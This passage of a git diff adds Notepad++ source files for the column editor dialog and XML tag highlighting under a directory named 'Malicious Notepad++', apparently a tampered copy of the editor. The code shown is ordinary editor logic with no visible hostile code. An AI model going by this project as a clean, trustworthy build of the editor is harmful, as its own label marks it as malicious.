copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include +#include +#include "columnEditor.h" +#include "ScintillaEditView.h" + + +void ColumnEditorDlg::init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) +{ + Window::init(hInst, hPere); + if (!ppEditView) + throw std::runtime_error("StaticDialog::init : ppEditView is null."); + _ppEditView = ppEditView; +} + +void ColumnEditorDlg::display(bool toShow) const +{ + Window::display(toShow); + if (toShow) + ::SetFocus(::GetDlgItem(_hSelf, ID_GOLINE_EDIT)); +} + +INT_PTR CALLBACK ColumnEditorDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + switch (message) + { + case WM_INITDIALOG : + { + switchTo(activeText); + ::SendDlgItemMessage(_hSelf, IDC_COL_DEC_RADIO, BM_SETCHECK, TRUE, 0); + goToCenter(); + + NppParameters *pNppParam = NppParameters::getInstance(); + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + { + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + redraw(); + } + return TRUE; + } + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : // Close + display(false); + return TRUE; + + case IDOK : + { + (*_ppEditView)->execute(SCI_BEGINUNDOACTION); + + const int stringSize = 1024; + TCHAR str[stringSize]; + + bool isTextMode = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_TEXT_RADIO, BM_GETCHECK, 0, 0)); + + if (isTextMode) + { + ::SendDlgItemMessage(_hSelf, IDC_COL_TEXT_EDIT, WM_GETTEXT, stringSize, reinterpret_cast(str)); + + display(false); + + if ((*_ppEditView)->execute(SCI_SELECTIONISRECTANGLE) || (*_ppEditView)->execute(SCI_GETSELECTIONS) > 1) + { + ColumnModeInfos colInfos = (*_ppEditView)->getColumnModeSelectInfo(); + std::sort(colInfos.begin(), colInfos.end(), SortInPositionOrder()); + (*_ppEditView)->columnReplace(colInfos, str); + std::sort(colInfos.begin(), colInfos.end(), SortInSelectOrder()); + (*_ppEditView)->setMultiSelections(colInfos); + } + else + { + auto cursorPos = (*_ppEditView)->execute(SCI_GETCURRENTPOS); + auto cursorCol = (*_ppEditView)->execute(SCI_GETCOLUMN, cursorPos); + auto cursorLine = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, cursorPos); + auto endPos = (*_ppEditView)->execute(SCI_GETLENGTH); + auto endLine = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, endPos); + + int lineAllocatedLen = 1024; + TCHAR *line = new TCHAR[lineAllocatedLen]; + + for (size_t i = cursorLine ; i <= static_cast(endLine); ++i) + { + auto lineBegin = (*_ppEditView)->execute(SCI_POSITIONFROMLINE, i); + auto lineEnd = (*_ppEditView)->execute(SCI_GETLINEENDPOSITION, i); + + auto lineEndCol = (*_ppEditView)->execute(SCI_GETCOLUMN, lineEnd); + auto lineLen = lineEnd - lineBegin + 1; + + if (lineLen > lineAllocatedLen) + { + delete [] line; + line = new TCHAR[lineLen]; + } + (*_ppEditView)->getGenericText(line, lineLen, lineBegin, lineEnd); + generic_string s2r(line); + + if (lineEndCol < cursorCol) + { + generic_string s_space(cursorCol - lineEndCol, ' '); + s2r.append(s_space); + s2r.append(str); + } + else + { + auto posAbs2Start = (*_ppEditView)->execute(SCI_FINDCOLUMN, i, cursorCol); + auto posRelative2Start = posAbs2Start - lineBegin; + if (posRelative2Start > static_cast(s2r.length())) + posRelative2Start = s2r.length(); + + s2r.insert(posRelative2Start, str); + } + (*_ppEditView)->replaceTarget(s2r.c_str(), int(lineBegin), int(lineEnd)); + } + delete [] line; + } + } + else + { + int initialNumber = ::GetDlgItemInt(_hSelf, IDC_COL_INITNUM_EDIT, NULL, TRUE); + int increaseNumber = ::GetDlgItemInt(_hSelf, IDC_COL_INCREASENUM_EDIT, NULL, TRUE); + int repeat = ::GetDlgItemInt(_hSelf, IDC_COL_REPEATNUM_EDIT, NULL, TRUE); + if (repeat == 0) + { + repeat = 1; // Without this we might get an infinite loop while calculating the set "numbers" below. + } + UCHAR format = getFormat(); + display(false); + + if ((*_ppEditView)->execute(SCI_SELECTIONISRECTANGLE) || (*_ppEditView)->execute(SCI_GETSELECTIONS) > 1) + { + ColumnModeInfos colInfos = (*_ppEditView)->getColumnModeSelectInfo(); + + // If there is no column mode info available, no need to do anything + // If required a message can be shown to user, that select column properly or something similar + if (colInfos.size() > 0) + { + std::sort(colInfos.begin(), colInfos.end(), SortInPositionOrder()); + (*_ppEditView)->columnReplace(colInfos, initialNumber, increaseNumber, repeat, format); + std::sort(colInfos.begin(), colInfos.end(), SortInSelectOrder()); + (*_ppEditView)->setMultiSelections(colInfos); + } + } + else + { + auto cursorPos = (*_ppEditView)->execute(SCI_GETCURRENTPOS); + auto cursorCol = (*_ppEditView)->execute(SCI_GETCOLUMN, cursorPos); + auto cursorLine = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, cursorPos); + auto endPos = (*_ppEditView)->execute(SCI_GETLENGTH); + auto endLine = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, endPos); + + // Compute the numbers to be placed at each column. + std::vector numbers; + { + int curNumber = initialNumber; + const size_t kiMaxSize = 1 + (size_t)endLine - (size_t)cursorLine; + while (numbers.size() < kiMaxSize) + { + for (int i = 0; i < repeat; i++) + { + numbers.push_back(curNumber); + if (numbers.size() >= kiMaxSize) + { + break; + } + } + curNumber += increaseNumber; + } + } + assert(numbers.size() > 0); + + int lineAllocatedLen = 1024; + TCHAR *line = new TCHAR[lineAllocatedLen]; + + + UCHAR f = format & MASK_FORMAT; + bool isZeroLeading = (MASK_ZERO_LEADING & format) != 0; + + int base = 10; + if (f == BASE_16) + base = 16; + else if (f == BASE_08) + base = 8; + else if (f == BASE_02) + base = 2; + + int endNumber = *numbers.rbegin(); + int nbEnd = getNbDigits(endNumber, base); + int nbInit = getNbDigits(initialNumber, base); + int nb = max(nbInit, nbEnd); + + + for (size_t i = cursorLine ; i <= size_t(endLine) ; ++i) + { + auto lineBegin = (*_ppEditView)->execute(SCI_POSITIONFROMLINE, i); + auto lineEnd = (*_ppEditView)->execute(SCI_GETLINEENDPOSITION, i); + + auto lineEndCol = (*_ppEditView)->execute(SCI_GETCOLUMN, lineEnd); + auto lineLen = lineEnd - lineBegin + 1; + + if (lineLen > lineAllocatedLen) + { + delete [] line; + line = new TCHAR[lineLen]; + } + (*_ppEditView)->getGenericText(line, lineLen, lineBegin, lineEnd); + generic_string s2r(line); + + // + // Calcule generic_string + // + int2str(str, stringSize, numbers.at(i - cursorLine), base, nb, isZeroLeading); + + if (lineEndCol < cursorCol) + { + generic_string s_space(cursorCol - lineEndCol, ' '); + s2r.append(s_space); + s2r.append(str); + } + else + { + auto posAbs2Start = (*_ppEditView)->execute(SCI_FINDCOLUMN, i, cursorCol); + auto posRelative2Start = posAbs2Start - lineBegin; + if (posRelative2Start > static_cast(s2r.length())) + posRelative2Start = s2r.length(); + + s2r.insert(posRelative2Start, str); + } + + (*_ppEditView)->replaceTarget(s2r.c_str(), int(lineBegin), int(lineEnd)); + } + delete [] line; + } + } + (*_ppEditView)->execute(SCI_ENDUNDOACTION); + (*_ppEditView)->getFocus(); + return TRUE; + } + case IDC_COL_TEXT_RADIO : + case IDC_COL_NUM_RADIO : + { + switchTo((wParam == IDC_COL_TEXT_RADIO)? activeText : activeNumeric); + return TRUE; + } + + default : + { + switch (HIWORD(wParam)) + { + case EN_SETFOCUS : + case BN_SETFOCUS : + //updateLinesNumbers(); + return TRUE; + default : + return TRUE; + } + break; + } + } + } + + default : + return FALSE; + } + //return FALSE; +} + +void ColumnEditorDlg::switchTo(bool toText) +{ + HWND hText = ::GetDlgItem(_hSelf, IDC_COL_TEXT_EDIT); + ::EnableWindow(hText, toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_TEXT_GRP_STATIC), toText); + ::SendDlgItemMessage(_hSelf, IDC_COL_TEXT_RADIO, BM_SETCHECK, toText, 0); + + HWND hNum = ::GetDlgItem(_hSelf, IDC_COL_INITNUM_EDIT); + ::SendDlgItemMessage(_hSelf, IDC_COL_NUM_RADIO, BM_SETCHECK, !toText, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_NUM_GRP_STATIC), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_INITNUM_STATIC), !toText); + ::EnableWindow(hNum, !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_INCRNUM_STATIC), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_INCREASENUM_EDIT), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_REPEATNUM_STATIC), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_REPEATNUM_EDIT), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_FORMAT_GRP_STATIC), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_DEC_RADIO), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_HEX_RADIO), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_OCT_RADIO), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_BIN_RADIO), !toText); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COL_LEADZERO_CHECK), !toText); + + ::SetFocus(toText?hText:hNum); +} + +UCHAR ColumnEditorDlg::getFormat() +{ + bool isLeadingZeros = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_LEADZERO_CHECK, BM_GETCHECK, 0, 0)); + UCHAR f = 0; // Dec by default + if (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_HEX_RADIO, BM_GETCHECK, 0, 0)) + f = 1; + else if (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_OCT_RADIO, BM_GETCHECK, 0, 0)) + f = 2; + else if (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_BIN_RADIO, BM_GETCHECK, 0, 0)) + f = 3; + return (f | (isLeadingZeros?MASK_ZERO_LEADING:0)); +} diff --git a/Malicious Notepad++/src/ScitillaComponent/columnEditor.h b/Malicious Notepad++/src/ScitillaComponent/columnEditor.h new file mode 100644 index 0000000..468523a --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/columnEditor.h @@ -0,0 +1,72 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "columnEditor_rc.h" +#include "StaticDialog.h" + +class ScintillaEditView; + +const bool activeText = true; +const bool activeNumeric = false; + +class ColumnEditorDlg : public StaticDialog +{ +public : + ColumnEditorDlg() : StaticDialog() {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView); + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true) { + StaticDialog::create(dialogID, isRTL, msgDestParent); + }; + + void doDialog(bool isRTL = false) { + if (!isCreated()) + create(IDD_COLUMNEDIT, isRTL); + bool isTextMode = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_COL_TEXT_RADIO, BM_GETCHECK, 0, 0)); + display(); + ::SetFocus(::GetDlgItem(_hSelf, isTextMode?IDC_COL_TEXT_EDIT:IDC_COL_INITNUM_EDIT)); + }; + + virtual void display(bool toShow = true) const; + + void switchTo(bool toText); + + UCHAR getFormat(); + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + + ScintillaEditView **_ppEditView = nullptr; + + +}; + diff --git a/Malicious Notepad++/src/ScitillaComponent/columnEditor.rc b/Malicious Notepad++/src/ScitillaComponent/columnEditor.rc new file mode 100644 index 0000000..c0d6b73 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/columnEditor.rc @@ -0,0 +1,62 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "columnEditor_rc.h" + + +IDD_COLUMNEDIT DIALOGEX 26, 41, 223, 221 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE + CAPTION "Column / Multi-Selection Editor" +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x0 +BEGIN + GROUPBOX "Text to Insert",IDC_COL_TEXT_GRP_STATIC,12,10,124,54 + GROUPBOX "Number to Insert",IDC_COL_NUM_GRP_STATIC,12,75,204,139 + CONTROL "",IDC_COL_TEXT_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP | WS_GROUP,7,10,8,9 + CONTROL "",IDC_COL_NUM_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP | WS_GROUP, 7,75,8,9 + EDITTEXT IDC_COL_TEXT_EDIT,25,32,97,14,ES_AUTOHSCROLL + RTEXT "Initial number :",IDC_COL_INITNUM_STATIC,15,91,76,8 + EDITTEXT IDC_COL_INITNUM_EDIT,95,89,38,12,ES_NUMBER + + RTEXT "Increase by :",IDC_COL_INCRNUM_STATIC,16,112,75,8 + EDITTEXT IDC_COL_INCREASENUM_EDIT,95,110,38,12,ES_NUMBER + + RTEXT "Repeat :",IDC_COL_REPEATNUM_STATIC,16,133,75,8 + EDITTEXT IDC_COL_REPEATNUM_EDIT,95,131,38,12,ES_NUMBER + + CONTROL "Leading zeros", IDC_COL_LEADZERO_CHECK,"Button", BS_AUTOCHECKBOX | WS_TABSTOP,140,133,70,10 + + CONTROL "Dec",IDC_COL_DEC_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,30,169,50,10 + CONTROL "Hex",IDC_COL_HEX_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,124,169,50,10 + CONTROL "Oct",IDC_COL_OCT_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,30,188,50,10 + CONTROL "Bin",IDC_COL_BIN_RADIO,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,124,188,50,10 + GROUPBOX "Format",IDC_COL_FORMAT_GRP_STATIC,20,153,188,54,BS_CENTER + DEFPUSHBUTTON "OK",IDOK,145,13,70,14,BS_NOTIFY + PUSHBUTTON "Cancel",IDCANCEL,145,36,70,14,BS_NOTIFY +END diff --git a/Malicious Notepad++/src/ScitillaComponent/columnEditor_rc.h b/Malicious Notepad++/src/ScitillaComponent/columnEditor_rc.h new file mode 100644 index 0000000..82f676b --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/columnEditor_rc.h @@ -0,0 +1,51 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef COLUMNEDITOR_RC_H +#define COLUMNEDITOR_RC_H + +#define IDD_COLUMNEDIT 2020 + #define IDC_COL_INITNUM_EDIT (IDD_COLUMNEDIT + 1) + #define IDC_COL_INCREASENUM_EDIT (IDD_COLUMNEDIT + 2) + #define IDC_COL_TEXT_GRP_STATIC (IDD_COLUMNEDIT + 3) + #define IDC_COL_DEC_RADIO (IDD_COLUMNEDIT + 4) + #define IDC_COL_OCT_RADIO (IDD_COLUMNEDIT + 5) + #define IDC_COL_HEX_RADIO (IDD_COLUMNEDIT + 6) + #define IDC_COL_BIN_RADIO (IDD_COLUMNEDIT + 7) + #define IDC_COL_TEXT_RADIO (IDD_COLUMNEDIT + 8) + #define IDC_COL_NUM_RADIO (IDD_COLUMNEDIT + 9) + #define IDC_COL_INITNUM_STATIC (IDD_COLUMNEDIT + 10) + #define IDC_COL_INCRNUM_STATIC (IDD_COLUMNEDIT + 11) + #define IDC_COL_FORMAT_GRP_STATIC (IDD_COLUMNEDIT + 12) + #define IDC_COL_NUM_GRP_STATIC (IDD_COLUMNEDIT + 13) + #define IDC_COL_TEXT_EDIT (IDD_COLUMNEDIT + 14) + #define IDC_COL_LEADZERO_CHECK (IDD_COLUMNEDIT + 15) + #define IDC_COL_REPEATNUM_STATIC (IDD_COLUMNEDIT + 16) + #define IDC_COL_REPEATNUM_EDIT (IDD_COLUMNEDIT + 17) + +#endif// COLUMNEDITOR_RC_H diff --git a/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.cpp b/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.cpp new file mode 100644 index 0000000..d0a3877 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.cpp @@ -0,0 +1,669 @@ +// This file is part of Notepad++ project +// Copyright (C)2012 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +// Tags matching routing rewritten by Dave Brotherstone May 2012 +// to remove need for regular expression searches (especially reverse regex searches) +// Reverse regex are slow using the new regex engine, and hence cost too much time. + + +#include "xmlMatchedTagsHighlighter.h" +#include "ScintillaEditView.h" + +using namespace std; + +vector< pair > XmlMatchedTagsHighlighter::getAttributesPos(int start, int end) +{ + vector< pair > attributes; + + int bufLen = end - start + 1; + char *buf = new char[bufLen+1]; + _pEditView->getText(buf, start, end); + + enum {\ + attr_invalid,\ + attr_key,\ + attr_pre_assign,\ + attr_assign,\ + attr_string,\ + attr_value,\ + attr_valid\ + } state = attr_invalid; + + int startPos = -1; + int oneMoreChar = 1; + int i = 0; + for (; i < bufLen ; ++i) + { + switch (buf[i]) + { + case ' ': + case '\t': + case '\n': + case '\r': + { + if (state == attr_key) + state = attr_pre_assign; + else if (state == attr_value) + { + state = attr_valid; + oneMoreChar = 0; + } + } + break; + + case '=': + { + if (state == attr_key || state == attr_pre_assign) + state = attr_assign; + else if (state == attr_assign || state == attr_value) + state = attr_invalid; + } + break; + + case '"': + { + if (state == attr_string) + { + state = attr_valid; + oneMoreChar = 1; + } + else if (state == attr_key || state == attr_pre_assign || state == attr_value) + state = attr_invalid; + else if (state == attr_assign) + state = attr_string; + } + break; + + default: + { + if (state == attr_invalid) + { + state = attr_key; + startPos = i; + } + else if (state == attr_pre_assign) + state = attr_invalid; + else if (state == attr_assign) + state = attr_value; + } + } + + if (state == attr_valid) + { + attributes.push_back(pair(start+startPos, start+i+oneMoreChar)); + state = attr_invalid; + } + } + if (state == attr_value) + attributes.push_back(pair(start+startPos, start+i-1)); + + delete [] buf; + return attributes; +} + + + +bool XmlMatchedTagsHighlighter::getXmlMatchedTagsPos(XmlMatchedTagsPos &xmlTags) +{ + bool tagFound = false; + int caret = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + int searchStartPoint = caret; + LRESULT styleAt; + FindResult openFound; + + // Search back for the previous open angle bracket. + // Keep looking whilst the angle bracket found is inside an XML attribute + do + { + openFound = findText("<", searchStartPoint, 0, 0); + styleAt = _pEditView->execute(SCI_GETSTYLEAT, openFound.start); + searchStartPoint = openFound.start - 1; + } while (openFound.success && (styleAt == SCE_H_DOUBLESTRING || styleAt == SCE_H_SINGLESTRING || styleAt == SCE_H_COMMENT ) && searchStartPoint > 0); + + if (openFound.success && styleAt != SCE_H_CDATA) + { + // Found the "<" before the caret, now check there isn't a > between that position and the caret. + FindResult closeFound; + searchStartPoint = openFound.start; + do + { + closeFound = findText(">", searchStartPoint, caret, 0); + styleAt = _pEditView->execute(SCI_GETSTYLEAT, closeFound.start); + searchStartPoint = closeFound.end; + } while (closeFound.success && (styleAt == SCE_H_DOUBLESTRING || styleAt == SCE_H_SINGLESTRING || styleAt == SCE_H_COMMENT) && searchStartPoint <= caret); + + if (!closeFound.success) + { + // We're in a tag (either a start tag or an end tag) + int nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, openFound.start + 1)); + + + ///////////////////////////////////////////////////////////////////////// + // CURSOR IN CLOSE TAG + ///////////////////////////////////////////////////////////////////////// + if ('/' == nextChar) + { + xmlTags.tagCloseStart = openFound.start; + int docLength = static_cast(_pEditView->execute(SCI_GETLENGTH)); + FindResult endCloseTag = findText(">", caret, docLength, 0); + if (endCloseTag.success) + { + xmlTags.tagCloseEnd = endCloseTag.end; + } + // Now find the tagName + int position = openFound.start + 2; + + // UTF-8 or ASCII tag name + std::string tagName; + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, position)); + // Checking for " or ' is actually wrong here, but it means it works better with invalid XML + while(position < docLength && !isWhitespace(nextChar) && nextChar != '/' && nextChar != '>' && nextChar != '\"' && nextChar != '\'') + { + tagName.push_back(static_cast(nextChar)); + ++position; + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, position)); + } + + // Now we know where the end of the tag is, and we know what the tag is called + if (tagName.size() != 0) + { + /* Now we need to find the open tag. The logic here is that we search for "', ' ', '\"' then we know we've found + * a relevant tag. + * We then need to check if either + * a) this tag is a self-closed tag - e.g. + * or b) this tag has another closing tag after it and before our closing tag + * e.g. some text + * (cursor represented by |) + * If it's either of the above, then we continue searching, but only up to the + * the point of the last find. (So in the (b) example above, we'd only search backwards + * from the first "something + * Maybe count all closing tags between start point and start of our end tag.??? + */ + int currentEndPoint = xmlTags.tagCloseStart; + int openTagsRemaining = 1; + FindResult nextOpenTag; + do + { + nextOpenTag = findOpenTag(tagName, currentEndPoint, 0); + if (nextOpenTag.success) + { + --openTagsRemaining; + // Open tag found + // Now we need to check how many close tags there are between the open tag we just found, + // and our close tag + // eg. (Cursor == | ) + // something + // ^^^^^^^^ we've found this guy + // ^^^^^^^^^^ ^^^^^^^^ Now we need to cound these fellas + FindResult inbetweenCloseTag; + int currentStartPosition = nextOpenTag.end; + int closeTagsFound = 0; + bool forwardSearch = (currentStartPosition < currentEndPoint); + + do + { + inbetweenCloseTag = findCloseTag(tagName, currentStartPosition, currentEndPoint); + + if (inbetweenCloseTag.success) + { + ++closeTagsFound; + if (forwardSearch) + { + currentStartPosition = inbetweenCloseTag.end; + } + else + { + currentStartPosition = inbetweenCloseTag.start - 1; + } + } + + } while(inbetweenCloseTag.success); + + // If we didn't find any close tags between the open and our close, + // and there's no open tags remaining to find + // then the open we found was the right one, and we can return it + if (0 == closeTagsFound && 0 == openTagsRemaining) + { + xmlTags.tagOpenStart = nextOpenTag.start; + xmlTags.tagOpenEnd = nextOpenTag.end + 1; + xmlTags.tagNameEnd = nextOpenTag.start + static_cast(tagName.size()) + 1; /* + 1 to account for '<' */ + tagFound = true; + } + else + { + + // Need to find the same number of opening tags, without closing tags etc. + openTagsRemaining += closeTagsFound; + currentEndPoint = nextOpenTag.start; + } + } + } while (!tagFound && openTagsRemaining > 0 && nextOpenTag.success); + } + } + else + { + ///////////////////////////////////////////////////////////////////////// + // CURSOR IN OPEN TAG + ///////////////////////////////////////////////////////////////////////// + int position = openFound.start + 1; + int docLength = static_cast(_pEditView->execute(SCI_GETLENGTH)); + + xmlTags.tagOpenStart = openFound.start; + + std::string tagName; + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, position)); + // Checking for " or ' is actually wrong here, but it means it works better with invalid XML + while(position < docLength && !isWhitespace(nextChar) && nextChar != '/' && nextChar != '>' && nextChar != '\"' && nextChar != '\'' ) + { + tagName.push_back(static_cast(nextChar)); + ++position; + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, position)); + } + + // Now we know where the end of the tag is, and we know what the tag is called + if (tagName.size() != 0) + { + // First we need to check if this is a self-closing tag. + // If it is, then we can just return this tag to highlight itself. + xmlTags.tagNameEnd = openFound.start + static_cast(tagName.size()) + 1; + int closeAnglePosition = findCloseAngle(position, docLength); + if (-1 != closeAnglePosition) + { + xmlTags.tagOpenEnd = closeAnglePosition + 1; + // If it's a self closing tag + if (_pEditView->execute(SCI_GETCHARAT, closeAnglePosition - 1) == '/') + { + // Set it as found, and mark that there's no close tag + xmlTags.tagCloseEnd = -1; + xmlTags.tagCloseStart = -1; + tagFound = true; + } + else + { + // It's a normal open tag + + + + /* Now we need to find the close tag. The logic here is that we search for "' or whitespace followed by '>' then we've + * found a relevant tag. + * We then need to check if + * our tag has another opening tag after it and before the closing tag we've found + * e.g. some text + * (cursor represented by |) + */ + int currentStartPosition = xmlTags.tagOpenEnd; + int closeTagsRemaining = 1; + FindResult nextCloseTag; + do + { + nextCloseTag = findCloseTag(tagName, currentStartPosition, docLength); + if (nextCloseTag.success) + { + --closeTagsRemaining; + // Open tag found + // Now we need to check how many close tags there are between the open tag we just found, + // and our close tag + // eg. (Cursor == | ) + // something + // ^^^^^^^^ we've found this guy + // ^^^^^^^^^ Now we need to find this fella + FindResult inbetweenOpenTag; + int currentEndPosition = nextCloseTag.start; + int openTagsFound = 0; + + do + { + inbetweenOpenTag = findOpenTag(tagName, currentStartPosition, currentEndPosition); + + if (inbetweenOpenTag.success) + { + ++openTagsFound; + currentStartPosition = inbetweenOpenTag.end; + } + + } while(inbetweenOpenTag.success); + + // If we didn't find any open tags between our open and the close, + // and there's no close tags remaining to find + // then the close we found was the right one, and we can return it + if (0 == openTagsFound && 0 == closeTagsRemaining) + { + xmlTags.tagCloseStart = nextCloseTag.start; + xmlTags.tagCloseEnd = nextCloseTag.end + 1; + tagFound = true; + } + else + { + + // Need to find the same number of closing tags, without opening tags etc. + closeTagsRemaining += openTagsFound; + currentStartPosition = nextCloseTag.end; + } + } + } while (!tagFound && closeTagsRemaining > 0 && nextCloseTag.success); + } // end if (selfclosingtag)... else { + } // end if (-1 != closeAngle) { + + } // end if tagName.size() != 0 + } // end open tag test + } + } + return tagFound; +} + +XmlMatchedTagsHighlighter::FindResult XmlMatchedTagsHighlighter::findOpenTag(const std::string& tagName, int start, int end) +{ + std::string search("<"); + search.append(tagName); + FindResult openTagFound; + openTagFound.success = false; + FindResult result; + int nextChar = 0; + int styleAt; + int searchStart = start; + int searchEnd = end; + bool forwardSearch = (start < end); + do + { + + result = findText(search.c_str(), searchStart, searchEnd, 0); + if (result.success) + { + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, result.end)); + styleAt = static_cast(_pEditView->execute(SCI_GETSTYLEAT, result.start)); + if (styleAt != SCE_H_CDATA && styleAt != SCE_H_DOUBLESTRING && styleAt != SCE_H_SINGLESTRING && styleAt != SCE_H_COMMENT) + { + // We've got an open tag for this tag name (i.e. nextChar was space or '>') + // Now we need to find the end of the start tag. + + // Common case, the tag is an empty tag with no whitespace. e.g. + if (nextChar == '>') + { + openTagFound.end = result.end; + openTagFound.success = true; + } + else if (isWhitespace(nextChar)) + { + int closeAnglePosition = findCloseAngle(result.end, forwardSearch ? end : start); + if (-1 != closeAnglePosition && '/' != _pEditView->execute(SCI_GETCHARAT, closeAnglePosition 